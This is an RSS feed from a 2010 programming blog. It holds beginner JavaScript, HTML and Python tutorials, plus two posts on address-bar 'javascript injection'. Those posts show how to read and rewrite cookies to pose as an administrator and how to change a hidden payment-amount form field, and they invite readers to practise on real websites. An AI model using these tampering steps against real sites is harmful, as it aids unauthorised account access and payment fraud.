<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>PC Hacks &#187; Programming</title>
	<atom:link href="http://hackspc.com/category/programming/feed/" rel="self" type="application/rss+xml" />
	<link>http://hackspc.com</link>
	<description></description>
	<lastBuildDate>Thu, 29 Jul 2010 15:23:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Create A Dynamic Digital Clock Using JavaScript And Images</title>
		<link>http://hackspc.com/create-a-dynamic-digital-clock-using-javascript-and-images/</link>
		<comments>http://hackspc.com/create-a-dynamic-digital-clock-using-javascript-and-images/#comments</comments>
		<pubDate>Thu, 22 Jul 2010 22:45:41 +0000</pubDate>
		<dc:creator>Suraj Kayastha</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://hackspc.com/?p=5904</guid>
		<description><![CDATA[We’ve already published similar article before about creating JavaScript Date header for blog and websites. This tutorial is especially for web developers who are just learning web developing technology. In this tutorial, I am teaching you how to set up a dynamic clock in your website or blog by using a JavaScript with image digits.
Though [...]]]></description>
			<content:encoded><![CDATA[<p>We’ve already published similar article before about creating JavaScript Date header for blog and websites. This tutorial is especially for web developers who are just learning web developing technology. In this tutorial, I am teaching you how to set up a dynamic clock in your website or blog by using a JavaScript with image digits.<span id="more-5904"></span></p>
<p>Though it is not necessary to include current local time in your website, it might be pretty attracting and mesmerizing.</p>
<p>Now lets begin with the tutorial.</p>
<p>First of all we’ll be creating images of numbers “<strong>0-9</strong>” colon “<strong>:</strong>” and “<strong><em>AM/PM</em></strong><em>”</em>. You can create the separate images in any image editing software or you can download the bundle of images directly from <a href="http://hackspc.com/wp-content/uploads/2010/07/digital_clock.zip">here</a>.</p>
<p>Now all the images needed for a digital clock is ready. Next, we’ll be assigning each image for each digits and colons. For instance, refer to the following example:</p>
<blockquote><p>dgt1 = new Image;</p>
<p>dgt1.src = &#8220;dgt1.gif&#8221;;</p></blockquote>
<p>In above sample, we defined that <strong>dgt1</strong> will have the new image in the first line. Now, since <strong>dgt1</strong> carries an image with it, in second line we again defined the location of source of image that <strong>dgt1</strong> will be holding. We’ll be doing this to all of them.</p>
<blockquote><p>dgt<strong>1</strong> = new Image;</p>
<p>dg<strong>t1</strong>.src = &#8220;dgt<strong>1</strong>.gif&#8221;;</p>
<p>dgt<strong>2</strong> = new Image;</p>
<p>dgt<strong>2</strong>.src = &#8220;dgt<strong>2</strong>.gif&#8221;;</p>
<p>dgt<strong>3</strong> = new Image;</p>
<p>dgt<strong>3</strong>.src = &#8220;dgt<strong>3</strong>.gif&#8221;;</p>
<p>dgt<strong>4</strong> = new Image;</p>
<p>dgt<strong>4</strong>.src = &#8220;dgt<strong>4</strong>.gif&#8221;;</p>
<p>dgt<strong>5</strong> = new Image;</p>
<p>dgt<strong>5</strong>.src = &#8220;dgt<strong>5</strong>.gif&#8221;;</p>
<p>dgt<strong>6</strong> = new Image;</p>
<p>dgt<strong>6</strong>.src = &#8220;dgt<strong>6</strong>.gif&#8221;;</p>
<p>dgt<strong>7</strong> = new Image;</p>
<p>dgt<strong>7</strong>.src = &#8220;dgt<strong>7</strong>.gif&#8221;;</p>
<p>dgt<strong>8</strong> = new Image;</p>
<p>dgt<strong>8</strong>.src = &#8220;dgt<strong>8</strong>.gif&#8221;;</p>
<p>dgt<strong>9</strong> = new Image;</p>
<p>dgt<strong>9</strong>.src = &#8220;dgt<strong>9</strong>.gif&#8221;;</p>
<p>dgt<strong>0</strong> = new Image;</p>
<p>dgt<strong>0</strong>.src = &#8220;dgt<strong>0</strong>.gif&#8221;;</p>
<p>dgt<strong>am</strong> = new Image;</p>
<p>dgt<strong>am</strong>.src = &#8220;dgt<strong>am</strong>.gif&#8221;;</p>
<p>dgt<strong>pm</strong> = new Image;</p>
<p>dgt<strong>pm</strong>.src = &#8220;dgt<strong>pm</strong>.gif&#8221;;</p>
<p>dgt<strong>colon </strong>= new Image;</p>
<p>dgt<strong>colon</strong>.src = &#8220;dgt<strong>colon</strong>.gif&#8221;;</p>
<p>dgt<strong>blank</strong> = new Image;</p>
<p>dgt<strong>blank</strong>.src = &#8220;dgt<strong>blank</strong>.gif&#8221;;</p></blockquote>
<p>Note: “dgt1” is just a naming and variable, you can replace it anything you want. However numbering is recommended, for example, <strong>num1</strong>,<strong> digit1</strong>,<strong> symbol1</strong>, etc.<strong></strong></p>
<p>Now we’ve assigned images to each of the values in digital clock.</p>
<p>Next, we’ll be creating a function that does the main work of a digital clock.</p>
<p>Let’s name the new function as <strong>UpdateClock</strong>. And set the needed variables to get the digital values from clock.</p>
<blockquote><p>function <strong>UpdateClock()</strong>{</p>
<p>var time= new Date();</p>
<p>hours = time.getHours();</p>
<p>mins = time.getMinutes();</p>
<p>if (!document.images) return;</p>
<p>dgt = mins % 10;</p>
<p>document.images.minsones.src=eval(&#8220;dgt&#8221;+dgt+&#8221;.src&#8221;);</p>
<p>dgt = (mins &#8211; (mins % 10))/10;</p>
<p>document.images.minstens.src=eval(&#8220;dgt&#8221;+dgt+&#8221;.src&#8221;);</p>
<p><span style="color: #ff0000">if (hours &gt; 12)</span></p>
<p><span style="color: #ff0000">document.images.ampm.src=dgtpm.src;</span></p>
<p><span style="color: #ff0000">else</span></p>
<p><span style="color: #ff0000">document.images.ampm.src=dgtam.src;</span></p>
<p><span style="color: #ffcc00">if (hours &gt; 12) hours = hours &#8211; 12;</span></p>
<p><span style="color: #ffcc00">dgt = hours % 10;</span></p>
<p><span style="color: #ffcc00">document.images.hoursones.src=eval(&#8220;dgt&#8221;+dgt+&#8221;.src&#8221;);</span></p>
<p><span style="color: #ffcc00">dgt = (hours &#8211; (hours % 10))/10;</span></p>
<p><span style="color: #ffcc00">document.images.hourstens.src=eval(&#8220;dgt&#8221;+dgt+&#8221;.src&#8221;);</span></p>
<p>document.images.colon.src=dgtcolon.src;</p>
<p>setTimeout(&#8220;UpdateClock()&#8221;,30000);</p>
<p>}</p></blockquote>
<p>The script part highlighted in red will determine to replace AM with PM or PM with AM. If the time hour value is greater than 12 then it will load image with PM written in it, else it will return AM image.</p>
<p>This JavaScript function actually shows you the digital clock with 24 hours time format. But we’ve AM/PM image which means that we’ll be showing clock in 12 hours format. Since we’ll need only 12 hours we’ll be substracting each of the value greater than 12 from 12.</p>
<p>Now, if it is 13 hour it will return 13-12 = 1. This is defined in code in orange color. And rest of the codes are used for setting up clock.</p>
<p>And at the end of the code, we’ll be calling the function:</p>
<blockquote><p>UpdateClock();</p></blockquote>
<p>Now we’ve created the backend of a digital clock. You’ll have to arrange all the codes above in similar format below:</p>
<blockquote><p>&lt;SCRIPT&gt;</p>
<p>if (document.images) {</p>
<p>dgt1 = new Image;</p>
<p>dgt1.src = &#8220;dgt1.gif&#8221;;</p>
<p>dgt2 = new Image;</p>
<p>dgt2.src = &#8220;dgt2.gif&#8221;;</p>
<p>dgt3 = new Image;</p>
<p>dgt3.src = &#8220;dgt3.gif&#8221;;</p>
<p>dgt4 = new Image;</p>
<p>dgt4.src = &#8220;dgt4.gif&#8221;;</p>
<p>dgt5 = new Image;</p>
<p>dgt5.src = &#8220;dgt5.gif&#8221;;</p>
<p>dgt6 = new Image;</p>
<p>dgt6.src = &#8220;dgt6.gif&#8221;;</p>
<p>dgt7 = new Image;</p>
<p>dgt7.src = &#8220;dgt7.gif&#8221;;</p>
<p>dgt8 = new Image;</p>
<p>dgt8.src = &#8220;dgt8.gif&#8221;;</p>
<p>dgt9 = new Image;</p>
<p>dgt9.src = &#8220;dgt9.gif&#8221;;</p>
<p>dgt0 = new Image;</p>
<p>dgt0.src = &#8220;dgt0.gif&#8221;;</p>
<p>dgtam = new Image;</p>
<p>dgtam.src = &#8220;dgtam.gif&#8221;;</p>
<p>dgtpm = new Image;</p>
<p>dgtpm.src = &#8220;dgtpm.gif&#8221;;</p>
<p>dgtcolon = new Image;</p>
<p>dgtcolon.src = &#8220;dgtcolon.gif&#8221;;</p>
<p>dgtblank = new Image;</p>
<p>dgtblank.src = &#8220;dgtblank.gif&#8221;;</p>
<p>}</p>
<p>function UpdateClock(){</p>
<p>var time= new Date();</p>
<p>hours = time.getHours();</p>
<p>mins = time.getMinutes();</p>
<p>if (!document.images) return;</p>
<p>dgt = mins % 10;</p>
<p>document.images.minsones.src=eval(&#8220;dgt&#8221;+dgt+&#8221;.src&#8221;);</p>
<p>dgt = (mins &#8211; (mins % 10))/10;</p>
<p>document.images.minstens.src=eval(&#8220;dgt&#8221;+dgt+&#8221;.src&#8221;);</p>
<p>if (hours &gt; 12)</p>
<p>document.images.ampm.src=dgtpm.src;</p>
<p>else</p>
<p>document.images.ampm.src=dgtam.src;</p>
<p>if (hours &gt; 12) hours = hours &#8211; 12;</p>
<p>dgt = hours % 10;</p>
<p>document.images.hoursones.src=eval(&#8220;dgt&#8221;+dgt+&#8221;.src&#8221;);</p>
<p>dgt = (hours &#8211; (hours % 10))/10;</p>
<p>document.images.hourstens.src=eval(&#8220;dgt&#8221;+dgt+&#8221;.src&#8221;);</p>
<p>document.images.colon.src=dgtcolon.src;</p>
<p>setTimeout(&#8220;UpdateClock()&#8221;,30000);</p>
<p>}</p>
<p>UpdateClock();</p>
<p>&lt;/SCRIPT&gt;</p></blockquote>
<p>The above codes goes inside the<strong> &lt;head&gt;</strong> tag of your html template.</p>
<p>Again we’ll need to arrange the placement of the images. Following code will do it.</p>
<blockquote><p><span style="color: #ff9900">&lt;IMG SRC=&#8221;dgtblank.gif&#8221; border=0 name=&#8221;hourstens&#8221;&gt;</span></p>
<p><span style="color: #ff9900">&lt;IMG SRC=&#8221;dgtblank.gif&#8221; border=0 name=&#8221;hoursones&#8221;&gt;</span></p>
<p><span style="color: #993300">&lt;IMG SRC=&#8221;dgtblank.gif&#8221; border=0 name=&#8221;hoursones&#8221;&gt;</span></p>
<p><span style="color: #99cc00">&lt;IMG SRC=&#8221;dgtblank.gif&#8221; border=0 name=&#8221;minstens&#8221;&gt;</span></p>
<p><span style="color: #99cc00">&lt;IMG SRC=&#8221;dgtblank.gif&#8221; border=0 name=&#8221;minsones&#8221;&gt;</span></p>
<p><span style="color: #ff0000">&lt;IMG SRC=&#8221;dgtblank.gif&#8221; border=0 name=&#8221;ampm&#8221;&gt;</span></p></blockquote>
<p>Orange colored HTML code will place two image sources for hour format in ones and tens numbers.</p>
<p>The brown colored code will place one colon image in it.</p>
<p>The green colored will have ones and tens minute.</p>
<p>The red colored will define AM/PM.</p>
<p>Copy the above code wherever you want inside the &lt;body&gt; of your webpage or blog.</p>
<p>Upload all the images that you’ve created or downloaded to the root directory of your webpage.</p>
<p>If you are having a digital clock in index.html then put the images where index.html is located.</p>
<p>If everything went well, you’ll have a working digital clock.</p>
<p><a href="http://hackspc.com/wp-content/uploads/2010/07/a8.jpg"><img class="aligncenter size-full wp-image-5906" src="http://hackspc.com/wp-content/uploads/2010/07/a8.jpg" alt="" width="129" height="42" /></a></p>
<p>If you still have a problem, refer to following illustrations on placement of JavaScript and HTML code.</p>
<p><a href="http://hackspc.com/wp-content/uploads/2010/07/b8.jpg"><img class="aligncenter size-full wp-image-5905" src="http://hackspc.com/wp-content/uploads/2010/07/b8.jpg" alt="" width="480" height="248" /></a></p>
<p>Hope this was helpful.</p>
]]></content:encoded>
			<wfw:commentRss>http://hackspc.com/create-a-dynamic-digital-clock-using-javascript-and-images/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Opening Two Or Multiple Pages From One Hyperlink</title>
		<link>http://hackspc.com/opening-two-or-multiple-pages-from-one-hyperlink/</link>
		<comments>http://hackspc.com/opening-two-or-multiple-pages-from-one-hyperlink/#comments</comments>
		<pubDate>Mon, 19 Jul 2010 13:59:23 +0000</pubDate>
		<dc:creator>Ivan</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Html]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://hackspc.com/?p=5921</guid>
		<description><![CDATA[Once in ever you may think that is it possible to open one or more pages from just a single click? And if you have only basic knowledge on HTML and web programming you may get confused right here. Opening more than multiple pages from just a single click might be very useful especially when [...]]]></description>
			<content:encoded><![CDATA[<p>Once in ever you may think that is it possible to open one or more pages from just a single click? And if you have only basic knowledge on HTML and web programming you may get confused right here. Opening more than multiple pages from just a single click might be very useful especially when you want to show two different information pages about a link.<span id="more-5921"></span></p>
<p>We can get a hyperlink to open more than two pages via several methods. One of them might be creating a link to a page that will open a pop-up window from it. But this may not sound practical as most of the browser have pop-up blocker enabled in it. Using pop-up cannot be good idea to open multiple pages.</p>
<p>Another best method can be using iframes. Iframes enables us to add two or more different pages to a single page. We can create a single page with two iframes in it and hence can add two different pages in it. Again, this idea becomes flop because; the iframes are not commonly used. Plus, it adds confusion to the visitor because of multiple information in a single page.</p>
<p>If you have been trying to open two pages using hyperlink and searching around the web but unable to find then you are here at right place.</p>
<p>I am going to teach you how you can accomplish this by just a single careful and tricky step.</p>
<p>We all know JavaScript, it can do lots of magic that html cannot do. If you are déjà vu at JavaScripting then you I hope you started getting hint.</p>
<p>Yes, we’ll be using OnClick method and window.open() function.</p>
<p>The default code to open a link from html is:</p>
<blockquote><p>Onclick=”window.open(‘http://www.google.com’)”</p></blockquote>
<p>The above code is a JavaScript code that will open Google HomePage. This is a basic code for hyperlinking using javascript.</p>
<p>Now let’s see at the HTML version of hyperlinking:</p>
<blockquote><p>&lt;a href=”http://www.google.com”&gt;Page link&lt;/a&gt;</p></blockquote>
<p>We all know what that does.</p>
<p>Now when we add onclick parameter to the above HTML hyperlink then we can do any JavaScript magic we want.</p>
<p>See the example below to know what I mean exactly.</p>
<blockquote><p>&lt;a href=&#8221;http://www.example.com&#8221; onclick=&#8221;window.open(&#8216;http://www.google.com&#8217;);&#8221;&gt;Page link &lt;/a&gt;</p></blockquote>
<p>In above code, we added <strong>onclick</strong> parameter to &lt;a&gt; tag. This will enable <strong>Page link</strong> to carry multiple function. One is default HTML hyperlinking function and another is any javascript function. OnClick is event loader, i.e. when any part of the object between this tag, &lt;a&gt;, is clicked new event will be loaded which will be predefined.</p>
<p>In simple terms, it will load two different links.</p>
<p>Try the above code and play with it.</p>
<p>Not only can two you open unlimited number of different pages just by single click by applying this javascript tweak.</p>
<blockquote><p>&lt;a href=&#8221;#link1&#8243; onclick=&#8221;window.open(&#8216;#link2&#8242;); window.open(&#8216;#link3&#8242;)&#8221;&gt;Page link &lt;/a&gt;</p></blockquote>
<p>You can open multipage using the above pattern.</p>
<p>Hope this tutorial was helpful.</p>
]]></content:encoded>
			<wfw:commentRss>http://hackspc.com/opening-two-or-multiple-pages-from-one-hyperlink/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Javascript Injection &#124;A Closer Look</title>
		<link>http://hackspc.com/javascript-injection-a-closer-look/</link>
		<comments>http://hackspc.com/javascript-injection-a-closer-look/#comments</comments>
		<pubDate>Thu, 15 Jul 2010 12:15:02 +0000</pubDate>
		<dc:creator>Ivan</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://hackspc.com/?p=5804</guid>
		<description><![CDATA[If you are directly linked to here then you might probably have missed my previous tutorial about the basics of javascript injection. If you have already read my previous post then let’s summarize what I tutored you last time.
I introduced you with javascript injection from how should it begin and it’s basic rules. I also [...]]]></description>
			<content:encoded><![CDATA[<p>If you are directly linked to here then you might probably have missed my <a href="http://hackspc.com/basic-tutorial-about-javascript-injection/">previous tutorial about the basics of javascript injection</a>. If you have already read my previous post then let’s summarize what I tutored you last time.<br />
I introduced you with javascript injection from how should it begin and it’s basic rules. I also demonstrated some of the basic things you can do with javascript injection in address bar. Now today in this tutorial, I’ll guide you through the window where you’ll get more closer vision in javascript injection and it’s prevailing uses. OK, now let’s begin with the tutorial.<span id="more-5804"></span></p>
<p>Besides changing cookies (in my previous tutorial), you can change other things as well. One of them is <strong>changing form values</strong>.</p>
<p>Consider the following text field in a money transfer form:</p>
<blockquote><p><strong> &lt;form action=”submit.php” method=”post”&gt;</strong></p>
<p><strong>&lt;input name=”amount” type=”hidden” value=”1? /&gt;</strong></p>
<p><strong>&lt;/form&gt;</strong></p></blockquote>
<p>Assume that above code is the source code extract from a form which sends $1 to your account every time the form is submitted. Lets say that you want to receive $100, how would you do that? The problem in this form is that this form remains invisible since its type is set <em>hidden </em>and neither can you change the value of the invisible field.</p>
<p>By using javascript injection technique you can change the form value easily.</p>
<p>For example to change the value of the above form, you can inject following javascript code:</p>
<blockquote><p><code>Javascript: void(document.forms[0].amount.value="100");</code></p></blockquote>
<p>The value of the input named <em>amount</em> will change to 100 by applying above injection. The syntax to change form is,</p>
<p style="text-align: center"><a href="http://hackspc.com/wp-content/uploads/2010/07/a4.jpg"><img class="aligncenter size-full wp-image-5805" src="http://hackspc.com/wp-content/uploads/2010/07/a4.jpg" alt="" width="473" height="45" /></a></p>
<p>The Green colored text must contain numerical value, the numerical value is the form number where 0 means the first form and 1 means the second form. The orange colored text must contain the name of the input type. For example, in the above form we’ve input name of first form as <em>amount</em>. The blue colored form contains the value to be kept in the input form.</p>
<p>Have a look at following image demo:</p>
<p><a href="http://hackspc.com/wp-content/uploads/2010/07/b4.jpg"><img class="aligncenter size-full wp-image-5806" src="http://hackspc.com/wp-content/uploads/2010/07/b4.jpg" alt="" width="268" height="77" /></a></p>
<p>You have the form that cannot be modified directly but it is visible.</p>
<p style="text-align: center"><a href="http://hackspc.com/wp-content/uploads/2010/07/c2.jpg"><img class="aligncenter size-full wp-image-5807" src="http://hackspc.com/wp-content/uploads/2010/07/c2.jpg" alt="" width="555" height="87" /></a></p>
<p>Now when you look at the source code, you’ll see that it is disabled and you cannot edit the value of this form. This is where you’ll plan and study for javascript injection. Find which form is it, first second or third. If it is first then you must input 0 in the forms[#]. Find out the name of the form and enter the value you want.</p>
<p style="text-align: center"><a href="http://hackspc.com/wp-content/uploads/2010/07/d2.jpg"><img class="aligncenter size-full wp-image-5808" src="http://hackspc.com/wp-content/uploads/2010/07/d2.jpg" alt="" width="471" height="95" /></a></p>
<p>Now after everything is planned and fixed, you’ll prepare the javascript injection code and inject it from your browser’s address bar.</p>
<p><a href="http://hackspc.com/wp-content/uploads/2010/07/e2.jpg"><img class="aligncenter size-full wp-image-5809" src="http://hackspc.com/wp-content/uploads/2010/07/e2.jpg" alt="" width="428" height="169" /></a></p>
<p>Now alert box will show up, this will confirm that the javascript injection went successfully.</p>
<p><a href="http://hackspc.com/wp-content/uploads/2010/07/f1.jpg"><img class="aligncenter size-full wp-image-5810" src="http://hackspc.com/wp-content/uploads/2010/07/f1.jpg" alt="" width="258" height="75" /></a></p>
<p>Now when you press OK button, you’ll have the form value changed eventually.</p>
<p>In this way you can change the form value easily.</p>
<p>And for some extra fun you can change the title of the website by using following code:</p>
<blockquote><p><code>Javascript: alert(document.title = "title name");</code></p></blockquote>
<p>This will change the title of the website.</p>
<p>For example,</p>
<p>In Google.com, javascript: alert(document.title); will load the following alert bod.</p>
<p style="text-align: center"><a href="http://hackspc.com/wp-content/uploads/2010/07/g.jpg"><img class="aligncenter size-full wp-image-5811" src="http://hackspc.com/wp-content/uploads/2010/07/g.jpg" alt="" width="394" height="178" /></a></p>
<p>And when you inject page title javascript injection, you’ll get following result.</p>
<p style="text-align: center"><a href="http://hackspc.com/wp-content/uploads/2010/07/h.jpg"><img class="aligncenter size-full wp-image-5812" src="http://hackspc.com/wp-content/uploads/2010/07/h.jpg" alt="" width="415" height="245" /></a></p>
<p>Hope you had fun reading this tutorial.</p>
]]></content:encoded>
			<wfw:commentRss>http://hackspc.com/javascript-injection-a-closer-look/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Basic Tutorial About Javascript Injection</title>
		<link>http://hackspc.com/basic-tutorial-about-javascript-injection/</link>
		<comments>http://hackspc.com/basic-tutorial-about-javascript-injection/#comments</comments>
		<pubDate>Wed, 14 Jul 2010 13:10:45 +0000</pubDate>
		<dc:creator>Ivan</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://hackspc.com/?p=5783</guid>
		<description><![CDATA[Javascript injection allows you to change websites behavior without refreshing or leaving it. It provides on spot interaction with the source code of website from browser window. Javascript script might come really handy when you are hacking basic websites. Javascript injection allows you to alter the form values before sending it to server.
In Javascript injection, [...]]]></description>
			<content:encoded><![CDATA[<p>Javascript injection allows you to change websites behavior without refreshing or leaving it. It provides on spot interaction with the source code of website from browser window. Javascript script might come really handy when you are hacking basic websites. Javascript injection allows you to alter the form values before sending it to server.<span id="more-5783"></span></p>
<p>In Javascript injection, javascript codes are injected from address bar of the browser window. In this tutorial we’ll go through the basics of javascript injection, if you are javascript expert then it might be below your knowledge. However freshers might find it interesting and informative.</p>
<p>To command any javascript code to your browser you must inform it that its javascript. It can be done by adding “Javascript:”(without quotes) just before your code.</p>
<p>Below is the sample code to input in your browser.</p>
<blockquote><p><code>Javascript: alert("Welcome to HacksPC.com");</code></p></blockquote>
<p>The above code is to be typed in browser address bar similar to image below:</p>
<p><a href="http://hackspc.com/wp-content/uploads/2010/07/a3.jpg"><img class="aligncenter size-full wp-image-5784" src="http://hackspc.com/wp-content/uploads/2010/07/a3.jpg" alt="" width="530" height="188" /></a></p>
<p>After you complete the code, press enter, you’ll see the something similar to below:</p>
<p><a href="http://hackspc.com/wp-content/uploads/2010/07/b3.jpg"><img class="aligncenter size-full wp-image-5785" src="http://hackspc.com/wp-content/uploads/2010/07/b3.jpg" alt="" width="505" height="247" /></a></p>
<p style="text-align: center"><a href="http://hackspc.com/wp-content/uploads/2010/07/c1.jpg"><img class="aligncenter size-full wp-image-5786" src="http://hackspc.com/wp-content/uploads/2010/07/c1.jpg" alt="" width="498" height="78" /></a></p>
<p>In the code typed above, <em>Javascript: </em>is the protocol which you must type before initiating any javascript code snippet. <em>Alert</em> is just the javascript function that gives alert box on the screen. ; is the end of statement command that you have in every programming language, like C, C++, PHP etc.</p>
<p>To have more clear vision about statement end symbol, refer to following example,</p>
<blockquote><p><code>javascript: alert("First message"); alert("second message"); alert("Third message");</code></p></blockquote>
<p>It gives three separate windows with three different messages.</p>
<p>The alert() function is only used to get information from the website. For example to get form value, cookies etc.</p>
<blockquote><p>Javascript:alert(document.cookie);</p></blockquote>
<p>Above code example shows the cookies that are set in your browser by your current website.</p>
<p><a href="http://hackspc.com/wp-content/uploads/2010/07/d1.jpg"><img class="aligncenter size-full wp-image-5787" src="http://hackspc.com/wp-content/uploads/2010/07/d1.jpg" alt="" width="353" height="279" /></a></p>
<p>This can be very useful if you are trying to hack basic websites. Cookies are set most in page login systems that might be helpful to get illegal access to the website’s administrator page.</p>
<p>For example in above image,  you can see username and password set in cookies section which was revealed with the help of javascript injection.</p>
<p>If the website is not strong enough you can modify the username to administrator’s username and gain full access to the website.</p>
<p>To change the cookie value you can follow the syntax similar to below:</p>
<blockquote><p><code>javascript:void(document.cookie="Cookie_name=Cookie_value");</code></p></blockquote>
<p>“void” in simple terms applies the function without refreshing the page. Literally, it means that the function won’t return any result.</p>
<blockquote><p><code>javascript:void(document.cookie="username=user123"); alert(document.cookie);</code></p></blockquote>
<p>The above code will change the cookie value and show the changed value.</p>
<p><a href="http://hackspc.com/wp-content/uploads/2010/07/e1.jpg"><img class="aligncenter size-full wp-image-5788" src="http://hackspc.com/wp-content/uploads/2010/07/e1.jpg" alt="" width="355" height="247" /></a></p>
<p>You can change any cookie value by applying syntax like above.</p>
<p>To change multiple cookies following pattern will help.</p>
<blockquote><p><code>javascript:void(document.cookie="username=user123"); void(document.cookie="password=pass123"); alert(document.cookie);</code></p></blockquote>
<p>You can add multiple statements to do multiple tasks at once.</p>
<p>Changing cookie value allows you to confuse the website about your real details like username, log in status, and other dynamic values that are cookied.</p>
<p>Similarly you can change the form value and types. I’ll posting tutorial about form values using Javascript injection shortly. Meanwhile, you can practice with injections in several websites.</p>
<p>Hope this tutorial was informative.</p>
]]></content:encoded>
			<wfw:commentRss>http://hackspc.com/basic-tutorial-about-javascript-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How To Create Your First Python Program</title>
		<link>http://hackspc.com/how-to-create-your-first-python-program/</link>
		<comments>http://hackspc.com/how-to-create-your-first-python-program/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 00:00:23 +0000</pubDate>
		<dc:creator>Ivan</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false">http://hackspc.com/?p=5725</guid>
		<description><![CDATA[Wanna learn how to create your first python program ,  but don&#8217;t know where to start. This  is  beginner,  step by step tutorial with images  that will help you trough process.
Step 1 
Go to python.org , download latest version and install it.

Step 2
Run IDLE (Python GUI)


Step 3
 You can run [...]]]></description>
			<content:encoded><![CDATA[<p>Wanna learn how to create your first python program ,  but don&#8217;t know where to start. This  is  beginner,  step by step tutorial with images  that will help you trough process.<span id="more-5725"></span></p>
<p><font size ="3"><strong>Step 1 </strong></font></p>
<p>Go to <a href="http://www.python.org/download/">python.org</a> , download latest version and install it.<br />
<a href="http://hackspc.com/wp-content/uploads/2010/07/python-1-.jpg"><img src="http://hackspc.com/wp-content/uploads/2010/07/python-1-.jpg" alt="" title="python 1" width="411" height="185" class="alignnone size-full wp-image-5726" /></a></p>
<p><font size ="3"><strong>Step 2</strong></font></p>
<p>Run IDLE (Python GUI)</p>
<p><a href="http://hackspc.com/wp-content/uploads/2010/07/python-2-.jpg"><img src="http://hackspc.com/wp-content/uploads/2010/07/python-2-.jpg" alt="" title="python 2" width="140" height="36" class="alignnone size-full wp-image-5727" /></a></p>
<p><a href="http://hackspc.com/wp-content/uploads/2010/07/python-3-.jpg"><img src="http://hackspc.com/wp-content/uploads/2010/07/python-3-.jpg" alt="" title="python 3" width="566" height="269" class="alignnone size-full wp-image-5728" /></a></p>
<p><font size ="3"><strong>Step 3</strong></font></p>
<p> You can run program via python shell or you can run program as python module  . py extension. </p>
<p><font size ="2"><strong>Step 3.1</strong></font></p>
<p>Run program via python shell </p>
<p>In Python shell type<br />
Code:<br />
<font color="red"><code>variable = 'Hello World'</code></font> </p>
<p> and press enter</p>
<p><a href="http://hackspc.com/wp-content/uploads/2010/07/hello-world.jpg"><img src="http://hackspc.com/wp-content/uploads/2010/07/hello-world.jpg" alt="" title="hello world" width="238" height="70" class="alignnone size-full wp-image-5739" /></a></p>
<p>then type<br />
Code:<br />
<font color="red"><code>print variable</code></font> </p>
<p>and press enter, output will be Hello World</p>
<p><a href="http://hackspc.com/wp-content/uploads/2010/07/hello-world-2-.jpg"><img src="http://hackspc.com/wp-content/uploads/2010/07/hello-world-2-.jpg" alt="" title="hello world 2" width="249" height="105" class="alignnone size-full wp-image-5740" /></a></p>
<p>This is simple example where we store string &#8220;Hello World&#8221; into variable  and then print it out. </p>
<p><font size ="2"><strong>Step 3.2</strong></font></p>
<p> Run as python script  . py </p>
<p>Open notepad and type your code </p>
<p><font color="red"><code>variable = 'Hello World'<br />
print variable</p>
<p></code></font> </p>
<p><a href="http://hackspc.com/wp-content/uploads/2010/07/notepad-python.jpg"><img src="http://hackspc.com/wp-content/uploads/2010/07/notepad-python.jpg" alt="" title="notepad python" width="280" height="125" class="alignnone size-full wp-image-5743" /></a></p>
<p>save as HelloWorld.py</p>
<p><a href="http://hackspc.com/wp-content/uploads/2010/07/save-as-python.jpg"><img src="http://hackspc.com/wp-content/uploads/2010/07/save-as-python.jpg" alt="" title="save as python" width="568" height="426" class="alignnone size-full wp-image-5744" /></a></p>
<p>Open IDLE and go to File -> Open and open file with .py extension </p>
<p><a href="http://hackspc.com/wp-content/uploads/2010/07/Python-Shell.jpg"><img src="http://hackspc.com/wp-content/uploads/2010/07/Python-Shell.jpg" alt="" title="Python Shell" width="207" height="320" class="alignnone size-full wp-image-5747" /></a></p>
<p><a href="http://hackspc.com/wp-content/uploads/2010/07/Open-.-py.jpg"><img src="http://hackspc.com/wp-content/uploads/2010/07/Open-.-py.jpg" alt="" title="Open . py" width="590" height="471" class="alignnone size-full wp-image-5748" /></a></p>
<p>After this will appear windows where you&#8217;ll able to run module, just press F5 or go to Run -> Run Module</p>
<p><a href="http://hackspc.com/wp-content/uploads/2010/07/run-module.jpg"><img src="http://hackspc.com/wp-content/uploads/2010/07/run-module.jpg" alt="" title="run module" width="342" height="180" class="alignnone size-full wp-image-5749" /></a></p>
<p><a href="http://hackspc.com/wp-content/uploads/2010/07/module.jpg"><img src="http://hackspc.com/wp-content/uploads/2010/07/module.jpg" alt="" title="module" width="590" height="94" class="alignnone size-full wp-image-5752" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://hackspc.com/how-to-create-your-first-python-program/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Learn To Create Your Own PHP Page Hit Counter</title>
		<link>http://hackspc.com/learn-to-create-your-own-php-page-hit-counter/</link>
		<comments>http://hackspc.com/learn-to-create-your-own-php-page-hit-counter/#comments</comments>
